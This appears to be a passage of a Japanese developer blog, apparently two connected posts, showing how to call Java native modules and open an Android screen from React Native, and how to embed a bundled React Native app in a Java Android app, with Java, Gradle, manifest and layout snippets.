package com.integratedandroidscreen; import java.util.ArrayList; import java.util.Collections; import java.util.List; import com.facebook.react.ReactPackage; import com.facebook.react.bridge.NativeModule; import com.facebook.react.bridge.ReactApplicationContext; import com.facebook.react.uimanager.ViewManager; public class AndroidScreenPackage implements ReactPackage { @Override public List<ViewManager> createViewManagers(ReactApplicationContext reactContext) { return Collections.emptyList(); } @Override public List<NativeModule> createNativeModules(ReactApplicationContext reactContext) { List<NativeModule> modules = new ArrayList<>(); modules.add(new AndroidScreenModule(reactContext)); return modules; } }
- MainApplication.java
protected List<ReactPackage> getPackages() { ... packages.add(new com.integratedandroidscreen.AndroidScreenPackage()); // ここだけ追加 ... return packages; }
ビルドして実行すると、 ネイティブコードで記述したgetAnimalNameメソッドが呼ぶことができました。 かなり簡単なことしかしていませんが、以上がReact NativeからJavaコードを呼ぶ流れです。
Ⅱ. Androidの画面へ遷移
App.tsx
import React from 'react'; import { Text, Button, NativeModules, View, StyleSheet } from 'react-native'; const { AndroidScreen } = NativeModules; export default function App() { const onPressExampleButton = () => { AndroidScreen.moveAndroidScreen(); }; return ( <View style={styles.container}> <Text style={styles.text}>React Nativeの画面です</Text> <Button title="Androidの画面へ遷移" onPress={onPressExampleButton} /> </View> ); } const styles = StyleSheet.create({ container: { flex: 1, justifyContent: 'center', alignItems: 'center', }, text: { fontSize: 20, textAlign: 'center', margin: 30, }, })
画面用のメソッドを追加 - AndroidScreenActivity.java
package com.integratedandroidscreen; import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle; public class AndroidScreenActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_androidscreen); } }
package com.integratedandroidscreen; import java.util.HashMap; import java.util.Map; import android.content.Intent; import androidx.annotation.NonNull; import com.facebook.react.bridge.ReactApplicationContext; import com.facebook.react.bridge.ReactContextBaseJavaModule; import com.facebook.react.bridge.ReactMethod; import com.facebook.react.bridge.Callback; import com.facebook.react.bridge.Promise; import com.facebook.react.bridge.WritableMap; import com.facebook.react.bridge.Arguments; import com.facebook.react.modules.core.DeviceEventManagerModule; public class AndroidScreenModule extends ReactContextBaseJavaModule { private static final String REACT_CLASS = "AndroidScreen"; private final ReactApplicationContext reactApplicationContext; public AndroidScreenModule(ReactApplicationContext reactApplicationContext) { super(reactApplicationContext); this.reactApplicationContext = reactApplicationContext; } @Override public String getName() { return "AndroidScreen"; } private String animal = "panda"; // かわいい動物 @ReactMethod public void getAnimalName(Callback callback) { callback.invoke(animal); } }
- AndroidScreenModule
// 以下メソッドを追記 @ReactMethod public void moveAndroidScreen() throws InterruptedException { Intent intent = new Intent(); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.setClassName(reactApplicationContext, "com.integratedandroidscreen.AndroidScreenActivity"); reactApplicationContext.startActivity(intent); }
Manifestファイルに以下を追加
<activity android:name="com.integratedandroidscreen.AndroidScreenActivity" android:label="@string/app_name"> </activity>
画面レイアウト用にapp/res/layout/activity_androidscreen_xmlを追加
<?xml version="1.0" encoding="utf-8"?> <androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".AndroidScreenActivity"> <TextView android:id="@+id/textView" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Androidの画面です" android:textSize="34sp" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toTopOf="parent" /> </androidx.constraintlayout.widget.ConstraintLayout>
gradleに以下を追加(レイアウト用に別途必要となったため)
implementation 'androidx.constraintlayout:constraintlayout:2.0.4'
ビルドして再実行することで、冒頭に示した画面遷移を実現することができました。
参考文献
AndroidからReact Nativeアプリ呼び出し(Java)
やりたいこと
既にあるReact NativeアプリをJavaかKotlinで呼び出して組み込みたいという需要があったときに、 どんな感じでやればいいかを試してみます。 (Java)
実現したいこと
Java製の画面にボタンがあって、ボタンを押すとReact Nativeの画面に遷移するのをやりたいです。
React Nativeをbundle化
React Nativeアプリを作成 teisyoku-tabetai.hatenablog.com
React Nativeをbundle化
assetsフォルダがない場合は作成します。
mkdir android/app/src/main/assets
bundle化
npx react-native bundle --platform android --dev false --entry-file index.js --bundle-output android/app/src/main/assets/index.android.bundle --assets-dest android/app/src/main/res
index.android.bundleができていれば完了です。
React Native関連のモジュールの用意
ここのところの方法は、いろいろ試した挙句できなかったので、以下の参考文献の内容を記述させていただいています。
mkdir integratedReactNativeProject
cd integratedReactNativeProject && touch package.json
package.jsonの中身
{ "name": "sampleReactApp", "version": "0.0.1", "private": true, "scripts": { "start": "yarn react-native start" } }
npm i yarn
yarn add react-native
Androidプロジェクト作成 & React Nativeの依存関係を記述
Android StudioでAndroidプロジェクトを作成
node_modulesと同階層に移動させる。
Androidプロジェクトに依存関係を記述
プロジェクト配下のbuild.gradle(appディレクトリと同階層)に以下を追記
allprojects { repositories { maven { // All of React Native (JS, Android binaries) is installed from npm url ("$rootDir/../node_modules/react-native/android") } maven { // Android JSC is installed from npm url("$rootDir/../node_modules/jsc-android/dist") } google() jcenter() } }
- app配下のbuild.gradleに以下を追記(※1)
dependencies { ... implementation "com.facebook.react:react-native:+" // From node_modules implementation "org.webkit:android-jsc:+" } apply from: file("../../node_modules/@react-native-community/cli-platform-android/native_modules.gradle"); applyNativeModulesAppBuildGradle(project)
(※1)
implementation "com.facebook.react:react-native:+" について
わざわざnpmでReact Nativeを入れてnode_modulesから引っ張ってきてるのはmavenから取ってこれなかったため。(2023年3月現在)
Gradleあまり詳しくないので、もっと良い方法がありそう...
central.sonatype.com
- gradle.propertiesに以下を追加
android.enableJetifier=true
- settings.gradleに以下を追記(※2)
apply from: file("../node_modules/@react-native-community/cli-platform-android/native_modules.gradle"); applyNativeModulesSettingsGradle(settings)
(※2) プロジェクト配下のbuild.gradleにrepositoriesを追記したので、settings.gradleにもある場合はコメントアウト(二重で記述するとエラー)
3 起動用のActivityを追加
package com.example.myapplication; // プロジェクト名に応じて変更 import android.app.Activity; import android.os.Bundle; import android.view.KeyEvent; import com.facebook.react.PackageList; import com.facebook.react.ReactInstanceManager; import com.facebook.react.ReactPackage; import com.facebook.react.ReactRootView; import com.facebook.react.common.LifecycleState; import com.facebook.react.modules.core.DefaultHardwareBackBtnHandler; import com.facebook.soloader.SoLoader; import java.util.List; public class MyReactActivity extends Activity implements DefaultHardwareBackBtnHandler { private ReactRootView mReactRootView; private ReactInstanceManager mReactInstanceManager; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); SoLoader.init(this, false); mReactRootView = new ReactRootView(this); List<ReactPackage> packages = new PackageList(getApplication()).getPackages(); mReactInstanceManager = ReactInstanceManager.builder() .setApplication(getApplication()) .setCurrentActivity(this) .setBundleAssetName("index.android.bundle") .setJSMainModulePath("index") .addPackages(packages) .setUseDeveloperSupport(BuildConfig.DEBUG) .setInitialLifecycleState(LifecycleState.RESUMED) .build(); mReactRootView.startReactApplication(mReactInstanceManager, "sampleReactApp", null); // (※3) setContentView(mReactRootView); } @Override public void invokeDefaultOnBackPressed() { super.onBackPressed(); } }
(※3) 元のReact Nativeプロジェクトのプロジェクト名に合わせる必要がある。プロジェクト名が分からなかったらindex.android.bundleから探せば行けるかもです。
4 Android Studioで実行
Android StudioからReact Nativeアプリを呼び出すことができました。
サンプル画面のロゴ画像が表示できていませんが、あまり気にしないこととします。
画面遷移を作る
- 先に表示させるAndroid画面用のアクティビティを作成
MainActivity.java
package com.example.myapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.os.Bundle; import android.widget.Button; import android.widget.TextView; public class MainActivity extends AppCompatActivity { private TextView textView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button button = findViewById(R.id.button); textView = findViewById(R.id.text_view); button.setOnClickListener( v -> { this.onClick(); }); } public void onClick() { Intent intent = new Intent(); intent.setClassName(getApplicationContext(), "com.example.myapplication.MyReactActivity"); startActivity(intent); } }
2 MainActivity用のActivityを追加
<activity android:name=".MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:name=".MyReactActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity>
3 app/src/main/res/layoutのactivity_main.xmlを編集
<?xml version="1.0" encoding="utf-8"?> <androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity"> <TextView android:id="@+id/text_view" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Androidアプリ" android:textSize="34sp" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintHorizontal_bias="0.497" app:layout_constraintLeft_toLeftOf="parent" app:layout_constraintRight_toRightOf="parent" app:layout_constraintTop_toTopOf="parent" app:layout_constraintVertical_bias="0.281" /> <Button android:id="@+id/button" android:layout_width="wrap_content" android:layout_height="wrap_content" android:background="#42CC47" android:backgroundTint="#4CAF50" android:text="React Nativeアプリへ遷移" android:textColorHint="#FFFFFF" android:textColorLink="#FFFFFF" android:textSize="16sp" app:iconTint="#4CAF50" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintHorizontal_bias="0.496" app:layout_constraintLeft_toLeftOf="parent" app:layout_constraintRight_toRightOf="parent" app:layout_constraintTop_toTopOf="parent" app:layout_constraintVertical_bias="0.6" app:rippleColor="#4CAF50" /> </androidx.constraintlayout.widget.ConstraintLayout>
以上の手順で、冒頭に示したような、AndroidからReact Nativeへの画面遷移を実現できました。